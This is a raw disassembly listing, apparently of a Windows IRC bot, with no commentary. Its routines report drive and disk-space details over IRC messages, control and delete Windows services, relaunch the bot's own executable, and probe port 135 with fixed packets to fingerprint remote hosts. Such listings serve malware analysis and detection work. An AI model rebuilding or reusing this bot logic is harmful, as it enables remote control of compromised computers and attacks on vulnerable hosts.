cdq
idiv ecx
test edx, edx
jnz short loc_40D03F
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_40D03F
; ---------------------------------------------------------------------------
loc_40D07D: ; CODE XREF: sub_40D01A+4Bj
dec esi
mov eax, edi
loc_40D080: ; CODE XREF: sub_40D01A+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_40D08F
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_40D080
; ---------------------------------------------------------------------------
loc_40D08F: ; CODE XREF: sub_40D01A+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_40D01A endp
; =============== S U B R O U T I N E =======================================
sub_40D099 proc near ; CODE XREF: sub_40D245+51p
; sub_40D245+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call ds:dword_43C678 ; GetDriveTypeA
sub eax, 0
jz short loc_40D0DC
dec eax
jz short loc_40D0D6
dec eax
dec eax
jz short loc_40D0D0
dec eax
jz short loc_40D0CA
dec eax
jz short loc_40D0C4
dec eax
jz short loc_40D0BE
mov eax, offset word_42CDD0
retn
; ---------------------------------------------------------------------------
loc_40D0BE: ; CODE XREF: sub_40D099+1Dj
mov eax, offset off_42D644
retn
; ---------------------------------------------------------------------------
loc_40D0C4: ; CODE XREF: sub_40D099+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_40D0CA: ; CODE XREF: sub_40D099+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_40D0D0: ; CODE XREF: sub_40D099+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_40D0D6: ; CODE XREF: sub_40D099+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_40D0DC: ; CODE XREF: sub_40D099+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_40D099 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D0E2 proc near ; CODE XREF: sub_40D12A+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, ds:dword_43C514
test eax, eax
jz short loc_40D117
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax ; GetDiskFreeSpaceExA
loc_40D117: ; CODE XREF: sub_40D0E2+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_40D0E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D12A proc near ; CODE XREF: sub_40B8D3+1F3p
; sub_40D245+17p
Dest = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_40D0E2
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_40D202
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_40D202
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_40D202
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call __alldiv
push edx
push eax
call sub_40D01A
mov edi, offset aSkb ; "%sKB"
push eax
mov esi, 80h
push edi ; Format
lea eax, [ebp+Dest]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 18h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call __alldiv
push edx
push eax
call sub_40D01A
push eax
push edi ; Format
lea eax, [ebp+var_118]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 18h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call __alldiv
push edx
push eax
call sub_40D01A
push eax
push edi ; Format
lea eax, [ebp+var_98]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 18h
pop ebx
jmp short loc_40D231
; ---------------------------------------------------------------------------
loc_40D202: ; CODE XREF: sub_40D12A+2Cj
; sub_40D12A+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+Dest]
push esi ; Format
push eax ; Dest
call _sprintf
lea eax, [ebp+var_118]
push esi ; Format
push eax ; Dest
call _sprintf
lea eax, [ebp+var_98]
push esi ; Format
push eax ; Dest
call _sprintf
add esp, 18h
loc_40D231: ; CODE XREF: sub_40D12A+D6j
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+Dest]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_40D12A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40D245(int,char *Str,int,int)
sub_40D245 proc near ; CODE XREF: sub_40D317+17p
; sub_40D317+60p
Dest = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
Str1 = byte ptr -80h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_40D12A
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+Str1]
push offset aFailed ; "failed"
rep movsd
push eax ; Str1
call _strcmp
add esp, 10h
test eax, eax
jnz short loc_40D2B8
push ebx
push ebx
call sub_40D099
pop ecx
push eax
push offset unk_42D6A4 ; Format
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 14h
jmp short loc_40D2EC
; ---------------------------------------------------------------------------
loc_40D2B8: ; CODE XREF: sub_40D245+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+Str1]
push eax
push ebx
push ebx
call sub_40D099
pop ecx
push eax
push offset unk_42D658 ; Format
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 20h
loc_40D2EC: ; CODE XREF: sub_40D245+71j
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40D670
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_40D245 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40D317(int,char *Str,int,int)
sub_40D317 proc near ; CODE XREF: sub_40EE51+57C8p
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_40D338
push [ebp+arg_C] ; int
push [ebp+arg_8] ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40D245
add esp, 10h
jmp short loc_40D399
; ---------------------------------------------------------------------------
loc_40D338: ; CODE XREF: sub_40D317+9j
push esi
push edi
push ebx
push ebx
call ds:dword_43C588 ; GetLogicalDriveStringsA
lea esi, [eax+2]
push esi ; Size
call _malloc
pop ecx
mov edi, eax
push edi
push esi
call ds:dword_43C588 ; GetLogicalDriveStringsA
cmp [edi], bl
mov esi, edi
jz short loc_40D390
loc_40D35C: ; CODE XREF: sub_40D317+77j
push offset aA_0 ; "A:\\"
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40D37F
push esi ; int
push [ebp+arg_8] ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40D245
add esp, 10h
loc_40D37F: ; CODE XREF: sub_40D317+54j
push esi ; Str
call _strlen
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_40D35C
loc_40D390: ; CODE XREF: sub_40D317+43j
push edi ; Memory
call _free
pop ecx
pop edi
pop esi
loc_40D399: ; CODE XREF: sub_40D317+1Fj
pop ebx
pop ebp
retn
sub_40D317 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D39C proc near ; DATA XREF: sub_40E68B+11o
var_2B8 = dword ptr -2B8h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
Dst = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push ds:dword_44207C
call ds:dword_43C6B0 ; closesocket
call sub_416F11
call ds:dword_43C578 ; WSACleanup
call ds:dword_43C578 ; WSACleanup
mov ebx, ds:dword_423060
push 64h
call ebx ; Sleep
xor edi, edi
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
push 44h
lea eax, [ebp+var_54]
pop esi
push esi ; Size
push edi ; Val
push eax ; Dst
call _memset
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset byte_4397BC
mov [ebp+var_28], 1
mov [ebp+var_24], di
call ds:dword_423064 ; GetSystemDirectoryA
lea eax, [ebp+var_158]
push esi
push eax
push edi
call ds:dword_423090 ; GetModuleFileNameA
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call ds:dword_423120 ; CreateProcessA
test eax, eax
jz short loc_40D461
push 64h
call ebx ; Sleep
push [ebp+Dst]
mov esi, ds:dword_423074
call esi
push [ebp+var_C]
call esi
loc_40D461: ; CODE XREF: sub_40D39C+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_440A20
mov eax, [esp+2B8h+var_2B8]
mov large fs:0, eax
add esp, 8
push edi
call ds:dword_42314C
pop edi
pop esi
pop ebx
sub_40D39C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40D484(int,int,void *Buf2,size_t Size)
sub_40D484 proc near ; CODE XREF: sub_40D4BC+125p
; sub_40D4BC+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
Buf2 = dword ptr 10h
Size = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+Size]
test edi, edi
jle short loc_40D4B2
loc_40D495: ; CODE XREF: sub_40D484+2Cj
push [ebp+Size] ; Size
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+Buf2] ; Buf2
push eax ; Buf1
call _memcmp
add esp, 0Ch
test eax, eax
jz short loc_40D4B8
inc esi
cmp esi, edi
jl short loc_40D495
loc_40D4B2: ; CODE XREF: sub_40D484+Fj
xor al, al
loc_40D4B4: ; CODE XREF: sub_40D484+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40D4B8: ; CODE XREF: sub_40D484+27j
mov al, 1
jmp short loc_40D4B4
sub_40D484 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D4BC proc near ; CODE XREF: sub_402DCE+8Bp
; sub_402DCE+174p
var_2010 = dword ptr -2010h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call __alloca_probe
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_40D4FD
dec eax
jz short loc_40D4DB
dec eax
loc_40D4D5: ; CODE XREF: sub_40D4BC+57j
xor eax, eax
loc_40D4D7: ; CODE XREF: sub_40D4BC+3Fj
; sub_40D4BC+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_40D4DB: ; CODE XREF: sub_40D4BC+16j
push 3
push 1388h
push [ebp+arg_0]
call ds:dword_43C658 ; inet_addr
push eax
call sub_4076BB
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_40D4D7
; ---------------------------------------------------------------------------
loc_40D4FD: ; CODE XREF: sub_40D4BC+13j
push 6
push 1
push 2
call ds:dword_43C698 ; socket
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_40D4D5
push ebx
xor ebx, ebx
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push 87h
call ds:dword_43C618 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_40ADC5
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+Dst]
push 10h
push eax
push esi
call ds:dword_43C5C0 ; connect
cmp eax, edi
jz loc_40D619
push ebx
push 48h
push offset dword_42D6F4
push esi
call ds:dword_43C668 ; send
cmp eax, edi
jz loc_40D619
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call ds:dword_43C630 ; recv
cmp eax, edi
jz loc_40D619
cmp byte ptr [ebp+var_2010+2], 0Ch
jnz short loc_40D619
push ebx
push 18h
push offset dword_42D740
push [ebp+arg_4]
call ds:dword_43C668 ; send
cmp eax, edi
jz short loc_40D619
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call ds:dword_43C630 ; recv
mov esi, eax
cmp esi, edi
jz short loc_40D619
cmp byte ptr [ebp+var_2010+2], 2
jnz short loc_40D619
push 10h ; Size
push offset loc_42D75C ; Buf2
lea eax, [ebp+var_2010]
push esi ; int
push eax ; int
call sub_40D484
add esp, 10h
test al, al
jz short loc_40D5F9
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_40D619
; ---------------------------------------------------------------------------
loc_40D5F9: ; CODE XREF: sub_40D4BC+12Fj
push 10h ; Size
push offset dword_42D770 ; Buf2
lea eax, [ebp+var_2010]
push esi ; int
push eax ; int
call sub_40D484
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_40D619: ; CODE XREF: sub_40D4BC+9Bj
; sub_40D4BC+B2j ...
push [ebp+arg_4]
call ds:dword_43C6B0 ; closesocket
mov eax, ebx
pop ebx
jmp loc_40D4D7
sub_40D4BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40D62A(int,char *Format,char Args)
sub_40D62A proc near ; CODE XREF: sub_40ECD9+3Dp
; sub_40EE51+1CBp ...
Dest = byte ptr -200h
arg_0 = dword ptr 8
Format = dword ptr 0Ch
Args = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+Args]
push eax ; Args
lea eax, [ebp+Dest]
push [ebp+Format] ; Format
push 200h ; Count
push eax ; Dest
call __vsnprintf
add esp, 10h
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push [ebp+arg_0]
call ds:dword_43C668 ; send
leave
retn
sub_40D62A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40D670(int,char *Str,int,int,int)
sub_40D670 proc near ; CODE XREF: sub_401000+88p
; sub_401447+76p ...
var_400 = byte ptr -400h
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_40D68B
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_40D68B: ; CODE XREF: sub_40D670+14j
push edi ; Str
call _strlen
push [ebp+Str] ; Str
mov esi, 1FAh
sub esi, eax
call _strlen
push [ebp+arg_8]
sub esi, eax
lea eax, [ebp+var_400]
push offset aS_1 ; "%s"
push esi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+Dest]
push [ebp+Str]
push edi
push offset aSSS_0 ; "%s %s :%s\r\n"
push eax ; Dest
call _sprintf
add esp, 2Ch
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push [ebp+arg_0]
call ds:dword_43C668 ; send
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_40D709
push 7D0h
call ds:dword_423060 ; Sleep
locret_40D709: ; CODE XREF: sub_40D670+8Cj
leave
retn
sub_40D670 endp
; =============== S U B R O U T I N E =======================================
sub_40D70B proc near ; CODE XREF: sub_40EE51:loc_410EC0p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_40D770
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push ds:dword_42D7A8[esi]
push edi
push eax
call sub_40D792
add esp, 14h
test eax, eax
jnz short loc_40D753
push edi
push ds:off_42D7A4[esi]
mov esi, offset byte_4410E8
push offset dword_42D8D4 ; Format
push esi ; Dest
call _sprintf
add esp, 10h
jmp short loc_40D78D
; ---------------------------------------------------------------------------
loc_40D753: ; CODE XREF: sub_40D70B+2Aj
push eax
call sub_40D834
push eax
push edi
mov esi, offset byte_4410E8
push offset dword_42D89C ; Format
push esi ; Dest
call _sprintf
add esp, 14h
jmp short loc_40D78D
; ---------------------------------------------------------------------------
loc_40D770: ; CODE XREF: sub_40D70B+Cj
lea eax, [eax+eax*2]
mov esi, offset byte_4410E8
push ds:off_42D7A0[eax*4]
push offset dword_42D868 ; Format
push esi ; Dest
call _sprintf
add esp, 0Ch
loc_40D78D: ; CODE XREF: sub_40D70B+46j
; sub_40D70B+63j
mov eax, esi
pop edi
pop esi
retn
sub_40D70B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D792 proc near ; CODE XREF: sub_40D70B+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call ds:dword_43C60C ; OpenSCManagerA
mov edi, eax
cmp edi, ebx
jnz short loc_40D7B9
call ds:dword_423088 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_40D82E
; ---------------------------------------------------------------------------
loc_40D7B9: ; CODE XREF: sub_40D792+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call ds:dword_43C500 ; OpenServiceA
mov esi, eax
cmp esi, ebx
jnz short loc_40D7D9
call ds:dword_423088 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_40D826
; ---------------------------------------------------------------------------
loc_40D7D9: ; CODE XREF: sub_40D792+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_40D80C
cmp eax, 3
jz short loc_40D7FD
jle short loc_40D81F
cmp eax, 6
jg short loc_40D81F
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call ds:dword_43C568 ; ControlService
jmp short loc_40D813
; ---------------------------------------------------------------------------
loc_40D7FD: ; CODE XREF: sub_40D792+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call ds:dword_43C508 ; StartServiceA
jmp short loc_40D813
; ---------------------------------------------------------------------------
loc_40D80C: ; CODE XREF: sub_40D792+4Dj
push esi
call ds:dword_43C56C ; DeleteService
loc_40D813: ; CODE XREF: sub_40D792+69j
; sub_40D792+78j
test eax, eax
jnz short loc_40D81F
call ds:dword_423088 ; RtlGetLastWin32Error
mov ebx, eax
loc_40D81F: ; CODE XREF: sub_40D792+54j
; sub_40D792+59j ...
push esi
call ds:dword_43C51C ; CloseServiceHandle
loc_40D826: ; CODE XREF: sub_40D792+45j
push edi
call ds:dword_43C51C ; CloseServiceHandle
pop esi
loc_40D82E: ; CODE XREF: sub_40D792+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_40D792 endp
; =============== S U B R O U T I N E =======================================
sub_40D834 proc near ; CODE XREF: sub_40D70B+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_40D8E9
jz loc_40D8E2
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_40D8AC
jz short loc_40D8A2
mov ecx, eax
sub ecx, 3
jz short loc_40D898
dec ecx
dec ecx
jz short loc_40D88E
dec ecx
jz short loc_40D884
sub ecx, 51h
jz short loc_40D87A
sub ecx, 24h
jnz loc_40D95F ; default
; jumptable 0040D906 cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_40D951
; ---------------------------------------------------------------------------
loc_40D87A: ; CODE XREF: sub_40D834+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_40D951
; ---------------------------------------------------------------------------
loc_40D884: ; CODE XREF: sub_40D834+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_40D951
; ---------------------------------------------------------------------------
loc_40D88E: ; CODE XREF: sub_40D834+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_40D951
; ---------------------------------------------------------------------------
loc_40D898: ; CODE XREF: sub_40D834+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_40D951
; ---------------------------------------------------------------------------
loc_40D8A2: ; CODE XREF: sub_40D834+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_40D951
; ---------------------------------------------------------------------------
loc_40D8AC: ; CODE XREF: sub_40D834+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_40D8DB
dec ecx
jz short loc_40D8D4
dec ecx
jz short loc_40D8CD
dec ecx
jnz loc_40D95F ; default
; jumptable 0040D906 cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_40D951
; ---------------------------------------------------------------------------
loc_40D8CD: ; CODE XREF: sub_40D834+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_40D951
; ---------------------------------------------------------------------------
loc_40D8D4: ; CODE XREF: sub_40D834+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_40D951
; ---------------------------------------------------------------------------
loc_40D8DB: ; CODE XREF: sub_40D834+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_40D951
; ---------------------------------------------------------------------------
loc_40D8E2: ; CODE XREF: sub_40D834+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_40D951
; ---------------------------------------------------------------------------
loc_40D8E9: ; CODE XREF: sub_40D834+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_40D95F ; default
; jumptable 0040D906 cases 1,5,6,8,9,12,13,15,16
jz short loc_40D94C
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_40D95F ; default
; jumptable 0040D906 cases 1,5,6,8,9,12,13,15,16
movzx ecx, ds:byte_40D9A0[ecx]
jmp ds:off_40D978[ecx*4] ; switch jump
loc_40D90D: ; DATA XREF: UPX0:off_40D978o
push offset aTheSpecifiedDa ; jumptable 0040D906 case 7
jmp short loc_40D951
; ---------------------------------------------------------------------------
loc_40D914: ; CODE XREF: sub_40D834+D2j
; DATA XREF: UPX0:off_40D978o
push offset aTheServiceDepe ; jumptable 0040D906 case 17
jmp short loc_40D951
; ---------------------------------------------------------------------------
loc_40D91B: ; CODE XREF: sub_40D834+D2j
; DATA XREF: UPX0:off_40D978o
push offset aTheServiceDe_0 ; jumptable 0040D906 case 10
jmp short loc_40D951
; ---------------------------------------------------------------------------
loc_40D922: ; CODE XREF: sub_40D834+D2j
; DATA XREF: UPX0:off_40D978o
push offset aTheServiceHasB ; jumptable 0040D906 case 0
jmp short loc_40D951
; ---------------------------------------------------------------------------
loc_40D929: ; CODE XREF: sub_40D834+D2j
; DATA XREF: UPX0:off_40D978o
push offset aTheSpecified_0 ; jumptable 0040D906 case 2
jmp short loc_40D951
; ---------------------------------------------------------------------------
loc_40D930: ; CODE XREF: sub_40D834+D2j
; DATA XREF: UPX0:off_40D978o
push offset aTheServiceCoul ; jumptable 0040D906 case 11
jmp short loc_40D951
; ---------------------------------------------------------------------------
loc_40D937: ; CODE XREF: sub_40D834+D2j
; DATA XREF: UPX0:off_40D978o
push offset aTheServiceHa_0 ; jumptable 0040D906 case 14
jmp short loc_40D951
; ---------------------------------------------------------------------------
loc_40D93E: ; CODE XREF: sub_40D834+D2j
; DATA XREF: UPX0:off_40D978o
push offset aTheRequested_1 ; jumptable 0040D906 case 3
jmp short loc_40D951
; ---------------------------------------------------------------------------
loc_40D945: ; CODE XREF: sub_40D834+D2j
; DATA XREF: UPX0:off_40D978o
push offset aTheServiceHasN ; jumptable 0040D906 case 4
jmp short loc_40D951
; ---------------------------------------------------------------------------
loc_40D94C: ; CODE XREF: sub_40D834+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_40D951: ; CODE XREF: sub_40D834+41j
; sub_40D834+4Bj ...
push offset byte_440A28 ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_40D972
; ---------------------------------------------------------------------------
loc_40D95F: ; CODE XREF: sub_40D834+36j
; sub_40D834+89j ...
push eax ; default
; jumptable 0040D906 cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
push offset byte_440A28 ; Dest
call _sprintf
add esp, 0Ch
loc_40D972: ; CODE XREF: sub_40D834+129j
mov eax, offset byte_440A28
retn
sub_40D834 endp
; ---------------------------------------------------------------------------
off_40D978 dd offset loc_40D922 ; DATA XREF: sub_40D834+D2r
dd offset loc_40D929 ; jump table for switch statement
dd offset loc_40D93E
dd offset loc_40D945
dd offset loc_40D90D
dd offset loc_40D91B
dd offset loc_40D930
dd offset loc_40D937
dd offset loc_40D914
dd offset loc_40D95F
byte_40D9A0 db 0, 9, 1, 2 ; DATA XREF: sub_40D834+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40D9B2(int,char *Str,int)
sub_40D9B2 proc near ; CODE XREF: sub_40EE51+209Ap
var_38C = dword ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
Dest = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call ds:dword_43C60C ; OpenSCManagerA
push ebx ; int
mov [ebp+var_C], eax
push [ebp+arg_8] ; int
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 14h
loc_40D9EA: ; CODE XREF: sub_40D9B2+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call ds:dword_43C5D8 ; EnumServicesStatusA
test eax, eax
jnz short loc_40DA24
call ds:dword_423088 ; RtlGetLastWin32Error
cmp eax, 0EAh
jnz loc_40DAD8
loc_40DA24: ; CODE XREF: sub_40D9B2+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_40DACF
lea esi, [ebp+var_188]
loc_40DA35: ; CODE XREF: sub_40D9B2+117j
mov eax, [esi+8]
dec eax
jz short loc_40DA7E
dec eax
jz short loc_40DA77
dec eax
jz short loc_40DA70
dec eax
jz short loc_40DA69
dec eax
jz short loc_40DA62
dec eax
jz short loc_40DA5B
dec eax
jz short loc_40DA54
push offset aUnknown_0 ; " Unknown"
jmp short loc_40DA83
; ---------------------------------------------------------------------------
loc_40DA54: ; CODE XREF: sub_40D9B2+99j
push offset aPaused_0 ; " Paused"
jmp short loc_40DA83
; ---------------------------------------------------------------------------
loc_40DA5B: ; CODE XREF: sub_40D9B2+96j
push offset aPausing ; " Pausing"
jmp short loc_40DA83
; ---------------------------------------------------------------------------
loc_40DA62: ; CODE XREF: sub_40D9B2+93j
push offset aContinuing ; " Continuing"
jmp short loc_40DA83
; ---------------------------------------------------------------------------
loc_40DA69: ; CODE XREF: sub_40D9B2+90j
push offset aRunning ; " Running"
jmp short loc_40DA83
; ---------------------------------------------------------------------------
loc_40DA70: ; CODE XREF: sub_40D9B2+8Dj
